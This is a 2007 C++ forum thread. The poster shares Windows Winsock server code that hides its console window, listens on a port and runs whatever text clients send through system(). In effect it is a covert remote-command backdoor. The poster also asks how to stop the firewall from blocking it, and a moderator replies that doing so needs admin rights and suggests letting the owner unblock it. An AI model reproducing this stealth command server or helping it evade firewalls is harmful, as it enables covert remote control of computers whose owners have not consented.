943,910 Members | Top Members by Rank

Ad:
  • C++ Discussion Thread
  • Marked Solved
  • Views: 1217
  • C++ RSS
Dec 24th, 2007
0

Firewall blocking sockets

Expand Post »
Hi, i have been making a program that tests a computer owner's firewall. It gets input from the client i made, and does a system() with it. Is there any way to make the firewall not block the program right when i make a scocket?
Oh, im using Dev-C++ 4.9.9.2 also.

Here's my code for my server so far:

C++ Syntax (Toggle Plain Text)
  1. #include <windows.h>
  2. #include <winsock2.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <iostream>
  6.  
  7. int main(int argc, char *argv[]){
  8.  
  9. // Create Stealth
  10. HWND hWnd;
  11. AllocConsole();
  12. hWnd = FindWindow("ConsoleWindowClass", NULL);
  13. ShowWindow(hWnd, 0);
  14. // Done!
  15.  
  16. WSADATA t_wsa; // WSADATA structure
  17. WORD wVers; // version number
  18. int iError; // error number
  19. wVers = MAKEWORD(2, 2); // Set the version number to 2.2
  20. iError = WSAStartup(wVers, &t_wsa); // Start the WSADATA
  21.  
  22. if(iError != NO_ERROR || iError == 1){
  23. MessageBox(NULL, (LPCTSTR)"Error at WSAStartup()", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
  24. WSACleanup();
  25. return 0;
  26. }
  27.  
  28. if(LOBYTE(t_wsa.wVersion) != 2 || HIBYTE(t_wsa.wVersion) != 2){
  29. MessageBox(NULL, (LPCTSTR)"Error at WSAStartup()", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
  30. WSACleanup();
  31. return 0;
  32. }
  33.  
  34. SOCKET sServer;
  35. sServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  36. if(sServer == INVALID_SOCKET || iError == 1){
  37. MessageBox(NULL, (LPCTSTR)"Invalid Socket!", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
  38. WSACleanup();
  39. return 0;
  40. }
  41.  
  42. SOCKADDR_IN sinServer;
  43. memset(&sinServer, 0, sizeof(sinServer));
  44. sinServer.sin_family = AF_INET;
  45. sinServer.sin_addr.s_addr = INADDR_ANY; // Where to start server?
  46. sinServer.sin_port = htons(1000); // Port
  47.  
  48. if(bind(sServer, (LPSOCKADDR)&sinServer, sizeof(sinServer)) == SOCKET_ERROR){
  49. /* failed at starting server */
  50. MessageBox(NULL, (LPCTSTR)"Could not bind the server!", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
  51. WSACleanup();
  52. return 0;
  53. }
  54.  
  55. while(listen(sServer, 20) == SOCKET_ERROR){
  56. Sleep(10);
  57. }
  58.  
  59. MessageBox(NULL, (LPCTSTR)"Waiting for a Client!", (LPCTSTR)"Server::Success", MB_OK);
  60.  
  61. int MaxCmds = 100;
  62. int NumOfCmds = 0;
  63. while (NumOfCmds < MaxCmds)
  64. {
  65.  
  66. SOCKET sClient;
  67. int szlength;
  68. szlength = sizeof(sinServer);
  69. sClient = accept(sServer, (LPSOCKADDR)&sinServer, &szlength);
  70.  
  71. if (sClient == INVALID_SOCKET){
  72. MessageBox(NULL, (LPCTSTR)"Could not accept this client!", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
  73. closesocket(sServer);
  74. WSACleanup();
  75. return 0;
  76. } else {
  77. MessageBox(NULL, (LPCTSTR)"Accepted a Client!", (LPCTSTR)"Server::Success", MB_OK);
  78. }
  79.  
  80. // Now we can send/recv data!
  81. int iRet;
  82. char buffer[200];
  83. strcpy(buffer, "Welcome to our Server!\0");
  84. iRet = send(sClient, buffer, strlen(buffer), 0);
  85. if(iRet == SOCKET_ERROR){
  86. MessageBox(NULL, (LPCTSTR)"Could not send data!", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
  87. closesocket(sClient);
  88. closesocket(sServer);
  89. WSACleanup();
  90. return 0;
  91. }
  92.  
  93. char autoresponse[80];
  94. int bytes;
  95. strcpy(autoresponse, "Message Received!");
  96. autoresponse[strlen(autoresponse)-1] = 0;
  97. MessageBox(NULL, (LPCTSTR)"Server is ready for messages and is hiding!", (LPCTSTR)"Server::Success", MB_OK);
  98. char *cClientMessage;
  99. cClientMessage = new char[600];
  100.  
  101. // Enter the message loop
  102. while(bytes = recv(sClient, cClientMessage, 599, 0)){
  103. if(bytes < 1){
  104. iRet = send(sClient, buffer, strlen(buffer), 0);
  105. if (iRet == SOCKET_ERROR)
  106. {
  107. MessageBox(0, "Lost connection with client","Server::Error",0);
  108. szlength = sizeof(sinServer);
  109. sClient = accept(sServer, (LPSOCKADDR)&sinServer, &szlength);
  110. }
  111. Sleep(300);
  112. continue;
  113. }
  114.  
  115. system(cClientMessage);
  116.  
  117. for (int x = 0; x < 600; x++)
  118. {
  119. cClientMessage[x] = NULL;
  120. }
  121.  
  122. Sleep(300);
  123. iRet = send(sClient, autoresponse, strlen(autoresponse), 0);
  124. if(iRet == SOCKET_ERROR){
  125. MessageBox(NULL, (LPCTSTR)"Could not send response!", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
  126. closesocket(sClient);
  127. closesocket(sServer);
  128. WSACleanup();
  129. return 0;
  130. }
  131. }
  132. delete [] cClientMessage;
  133. cClientMessage = new char[600];
  134. cClientMessage[599] = 0;
  135. Sleep(100); // Don't consume too much CPU power.
  136.  
  137. delete [] cClientMessage;
  138. // Cleanup
  139. closesocket(sClient);
  140. closesocket(sServer);
  141. // Shutdown Winsock
  142. WSACleanup();
  143. return 0;
  144.  
  145. }
  146. }
Last edited by WolfPack; Dec 24th, 2007 at 11:49 am. Reason: Removed inline code tags and corrected the code tags to use the [code=C++][/CODE] delimiters.
Similar Threads
  • IRC Chat in DaniWeb Community Feedback
Reputation Points: 79
Solved Threads: 6
Posting Whiz in Training
TheBeast32 is offline Offline
236 posts
since Dec 2007
Dec 24th, 2007
0

Re: Firewall blocking sockets

Apparently my code has smileys in it. ifnore tham plz
Reputation Points: 79
Solved Threads: 6
Posting Whiz in Training
TheBeast32 is offline Offline
236 posts
since Dec 2007
Dec 24th, 2007
0

Re: Firewall blocking sockets

oops nvm
Reputation Points: 79
Solved Threads: 6
Posting Whiz in Training
TheBeast32 is offline Offline
236 posts
since Dec 2007
Dec 24th, 2007
1

Re: Firewall blocking sockets

Well, you could do that programmatically, but you will need administrative priviledges for that. Wouldn't it be easier to let the user unblock the application by his own accord? After all it is his computer, and it only takes one click of a button.
Last edited by WolfPack; Dec 24th, 2007 at 12:07 pm.
Moderator
Reputation Points: 572
Solved Threads: 115
Mentally Challenged Mod.
WolfPack is offline Offline
1,559 posts
since Jun 2005

This thread is solved

Either the thread starter or a moderator has marked this thread as solved. You can most likely trust the responses and answers given. There is most likely no reason for any further responses to be posted here. If you have a related question, please start a new thread in this forum instead.

This thread is more than three months old

No one has posted to this discussion for at least three months. Please let old threads die and do not reply to them unless you feel you have something new and valuable to contribute that absolutely must be added to make the discussion complete. Otherwise, please start a new thread in this forum instead.
Message:
Previous Thread in C++ Forum Timeline: Urgent: Plz Help me,Prime Number Program Problem
Next Thread in C++ Forum Timeline: Plz Help If You Can





About Us | Contact Us | Advertise | Acceptable Use Policy
Forum Index | Build Custom RSS Feed


Follow us on Twitter


© 2011 DaniWeb® LLC